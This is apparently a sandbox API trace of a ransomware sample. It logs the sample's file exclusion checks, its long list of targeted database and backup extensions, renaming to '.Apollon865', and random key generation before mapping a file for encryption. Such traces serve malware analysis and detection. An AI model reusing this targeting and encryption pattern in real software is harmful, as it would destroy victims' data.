	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="..") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="windows") returned -1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="temp") returned -1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="boot") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.812] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0082.813] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0082.813] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0082.813] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned 73
	[0082.813] lstrcpyW (in: lpString1=0x119e670, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0082.813] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0082.813] lstrlenW (lpString="Apollon865") returned 10
	[0082.813] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.813] lstrlenW (lpString=".dll") returned 4
	[0082.813] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.813] lstrlenW (lpString=".lnk") returned 4
	[0082.813] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.813] lstrlenW (lpString=".ini") returned 4
	[0082.813] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.813] lstrlenW (lpString=".sys") returned 4
	[0082.813] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.813] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0082.813] lstrlenW (lpString="bak") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.813] lstrlenW (lpString="ba_") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.813] lstrlenW (lpString="dbb") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.813] lstrlenW (lpString="vmdk") returned 4
	[0082.813] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.813] lstrlenW (lpString="rar") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.813] lstrlenW (lpString="zip") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.813] lstrlenW (lpString="tgz") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.813] lstrlenW (lpString="vbox") returned 4
	[0082.813] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.813] lstrlenW (lpString="vdi") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.813] lstrlenW (lpString="vhd") returned 3
	[0082.813] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.813] lstrlenW (lpString="vhdx") returned 4
	[0082.813] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.813] lstrlenW (lpString="avhd") returned 4
	[0082.814] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.814] lstrlenW (lpString="db") returned 2
	[0082.814] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.814] lstrlenW (lpString="db2") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.814] lstrlenW (lpString="db3") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.814] lstrlenW (lpString="dbf") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.814] lstrlenW (lpString="mdf") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.814] lstrlenW (lpString="mdb") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.814] lstrlenW (lpString="sql") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.814] lstrlenW (lpString="sqlite") returned 6
	[0082.814] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.814] lstrlenW (lpString="sqlite3") returned 7
	[0082.814] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.814] lstrlenW (lpString="sqlitedb") returned 8
	[0082.814] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.814] lstrlenW (lpString="xml") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.814] lstrlenW (lpString="$er") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.814] lstrlenW (lpString="4dd") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.814] lstrlenW (lpString="4dl") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.814] lstrlenW (lpString="^^^") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.814] lstrlenW (lpString="abs") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.814] lstrlenW (lpString="abx") returned 3
	[0082.814] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.814] lstrlenW (lpString="accdb") returned 5
	[0082.814] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.814] lstrlenW (lpString="accdc") returned 5
	[0082.814] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.815] lstrlenW (lpString="accde") returned 5
	[0082.815] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.815] lstrlenW (lpString="accdr") returned 5
	[0082.815] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.815] lstrlenW (lpString="accdt") returned 5
	[0082.815] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.815] lstrlenW (lpString="accdw") returned 5
	[0082.815] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.815] lstrlenW (lpString="accft") returned 5
	[0082.815] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.815] lstrlenW (lpString="adb") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.815] lstrlenW (lpString="adb") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.815] lstrlenW (lpString="ade") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.815] lstrlenW (lpString="adf") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.815] lstrlenW (lpString="adn") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.815] lstrlenW (lpString="adp") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.815] lstrlenW (lpString="alf") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.815] lstrlenW (lpString="ask") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.815] lstrlenW (lpString="btr") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.815] lstrlenW (lpString="cat") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.815] lstrlenW (lpString="cdb") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.815] lstrlenW (lpString="ckp") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.815] lstrlenW (lpString="cma") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.815] lstrlenW (lpString="cpd") returned 3
	[0082.815] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.815] lstrlenW (lpString="dacpac") returned 6
	[0082.816] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.816] lstrlenW (lpString="dad") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.816] lstrlenW (lpString="dadiagrams") returned 10
	[0082.816] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.816] lstrlenW (lpString="daschema") returned 8
	[0082.816] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.816] lstrlenW (lpString="db-journal") returned 10
	[0082.816] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.816] lstrlenW (lpString="db-shm") returned 6
	[0082.816] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.816] lstrlenW (lpString="db-wal") returned 6
	[0082.816] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.816] lstrlenW (lpString="dbc") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.816] lstrlenW (lpString="dbs") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.816] lstrlenW (lpString="dbt") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.816] lstrlenW (lpString="dbv") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.816] lstrlenW (lpString="dbx") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.816] lstrlenW (lpString="dcb") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.816] lstrlenW (lpString="dct") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.816] lstrlenW (lpString="dcx") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.816] lstrlenW (lpString="ddl") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.816] lstrlenW (lpString="dlis") returned 4
	[0082.816] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.816] lstrlenW (lpString="dp1") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.816] lstrlenW (lpString="dqy") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.816] lstrlenW (lpString="dsk") returned 3
	[0082.816] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.817] lstrlenW (lpString="dsn") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.817] lstrlenW (lpString="dtsx") returned 4
	[0082.817] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.817] lstrlenW (lpString="dxl") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.817] lstrlenW (lpString="eco") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.817] lstrlenW (lpString="ecx") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.817] lstrlenW (lpString="edb") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.817] lstrlenW (lpString="epim") returned 4
	[0082.817] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.817] lstrlenW (lpString="fcd") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.817] lstrlenW (lpString="fdb") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.817] lstrlenW (lpString="fic") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.817] lstrlenW (lpString="flexolibrary") returned 12
	[0082.817] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.817] lstrlenW (lpString="fm5") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.817] lstrlenW (lpString="fmp") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.817] lstrlenW (lpString="fmp12") returned 5
	[0082.817] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.817] lstrlenW (lpString="fmpsl") returned 5
	[0082.817] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.817] lstrlenW (lpString="fol") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.817] lstrlenW (lpString="fp3") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.817] lstrlenW (lpString="fp4") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.817] lstrlenW (lpString="fp5") returned 3
	[0082.817] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.817] lstrlenW (lpString="fp7") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.818] lstrlenW (lpString="fpt") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.818] lstrlenW (lpString="frm") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.818] lstrlenW (lpString="gdb") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.818] lstrlenW (lpString="gdb") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.818] lstrlenW (lpString="grdb") returned 4
	[0082.818] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.818] lstrlenW (lpString="gwi") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.818] lstrlenW (lpString="hdb") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.818] lstrlenW (lpString="his") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.818] lstrlenW (lpString="ib") returned 2
	[0082.818] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.818] lstrlenW (lpString="idb") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.818] lstrlenW (lpString="ihx") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.818] lstrlenW (lpString="itdb") returned 4
	[0082.818] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.818] lstrlenW (lpString="itw") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.818] lstrlenW (lpString="jet") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.818] lstrlenW (lpString="jtx") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.818] lstrlenW (lpString="kdb") returned 3
	[0082.818] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.818] lstrlenW (lpString="kexi") returned 4
	[0082.818] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.818] lstrlenW (lpString="kexic") returned 5
	[0082.818] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.818] lstrlenW (lpString="kexis") returned 5
	[0082.818] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.818] lstrlenW (lpString="lgc") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.819] lstrlenW (lpString="lwx") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.819] lstrlenW (lpString="maf") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.819] lstrlenW (lpString="maq") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.819] lstrlenW (lpString="mar") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.819] lstrlenW (lpString="marshal") returned 7
	[0082.819] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.819] lstrlenW (lpString="mas") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.819] lstrlenW (lpString="mav") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.819] lstrlenW (lpString="maw") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.819] lstrlenW (lpString="mdbhtml") returned 7
	[0082.819] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.819] lstrlenW (lpString="mdn") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.819] lstrlenW (lpString="mdt") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.819] lstrlenW (lpString="mfd") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.819] lstrlenW (lpString="mpd") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.819] lstrlenW (lpString="mrg") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.819] lstrlenW (lpString="mud") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.819] lstrlenW (lpString="mwb") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.819] lstrlenW (lpString="myd") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.819] lstrlenW (lpString="ndf") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.819] lstrlenW (lpString="nnt") returned 3
	[0082.819] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.820] lstrlenW (lpString="nrmlib") returned 6
	[0082.820] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.820] lstrlenW (lpString="ns2") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.820] lstrlenW (lpString="ns3") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.820] lstrlenW (lpString="ns4") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.820] lstrlenW (lpString="nsf") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.820] lstrlenW (lpString="nv") returned 2
	[0082.820] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.820] lstrlenW (lpString="nv2") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.820] lstrlenW (lpString="nwdb") returned 4
	[0082.820] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.820] lstrlenW (lpString="nyf") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.820] lstrlenW (lpString="odb") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.820] lstrlenW (lpString="odb") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.820] lstrlenW (lpString="oqy") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.820] lstrlenW (lpString="ora") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.820] lstrlenW (lpString="orx") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.820] lstrlenW (lpString="owc") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.820] lstrlenW (lpString="p96") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.820] lstrlenW (lpString="p97") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.820] lstrlenW (lpString="pan") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.820] lstrlenW (lpString="pdb") returned 3
	[0082.820] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.820] lstrlenW (lpString="pdm") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.821] lstrlenW (lpString="pnz") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.821] lstrlenW (lpString="qry") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.821] lstrlenW (lpString="qvd") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.821] lstrlenW (lpString="rbf") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.821] lstrlenW (lpString="rctd") returned 4
	[0082.821] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.821] lstrlenW (lpString="rod") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.821] lstrlenW (lpString="rodx") returned 4
	[0082.821] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.821] lstrlenW (lpString="rpd") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.821] lstrlenW (lpString="rsd") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.821] lstrlenW (lpString="sas7bdat") returned 8
	[0082.821] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.821] lstrlenW (lpString="sbf") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.821] lstrlenW (lpString="scx") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.821] lstrlenW (lpString="sdb") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.821] lstrlenW (lpString="sdc") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.821] lstrlenW (lpString="sdf") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.821] lstrlenW (lpString="sis") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.821] lstrlenW (lpString="spq") returned 3
	[0082.821] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.821] lstrlenW (lpString="te") returned 2
	[0082.821] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.821] lstrlenW (lpString="teacher") returned 7
	[0082.822] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.822] lstrlenW (lpString="tmd") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.822] lstrlenW (lpString="tps") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.822] lstrlenW (lpString="trc") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.822] lstrlenW (lpString="trc") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.822] lstrlenW (lpString="trm") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.822] lstrlenW (lpString="udb") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.822] lstrlenW (lpString="udl") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.822] lstrlenW (lpString="usr") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.822] lstrlenW (lpString="v12") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.822] lstrlenW (lpString="vis") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.822] lstrlenW (lpString="vpd") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.822] lstrlenW (lpString="vvv") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.822] lstrlenW (lpString="wdb") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.822] lstrlenW (lpString="wmdb") returned 4
	[0082.822] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.822] lstrlenW (lpString="wrk") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.822] lstrlenW (lpString="xdb") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.822] lstrlenW (lpString="xld") returned 3
	[0082.822] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.822] lstrlenW (lpString="xmlff") returned 5
	[0082.822] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.822] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.Apollon865") returned 80
	[0082.823] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.829] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\mapir.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.829] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=302944) returned 1
	[0082.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.830] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.830] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.830] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.831] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a260, lpName=0x0) returned 0x15c
	[0082.832] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a260) returned 0x210000
	[0082.854] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.855] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.855] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
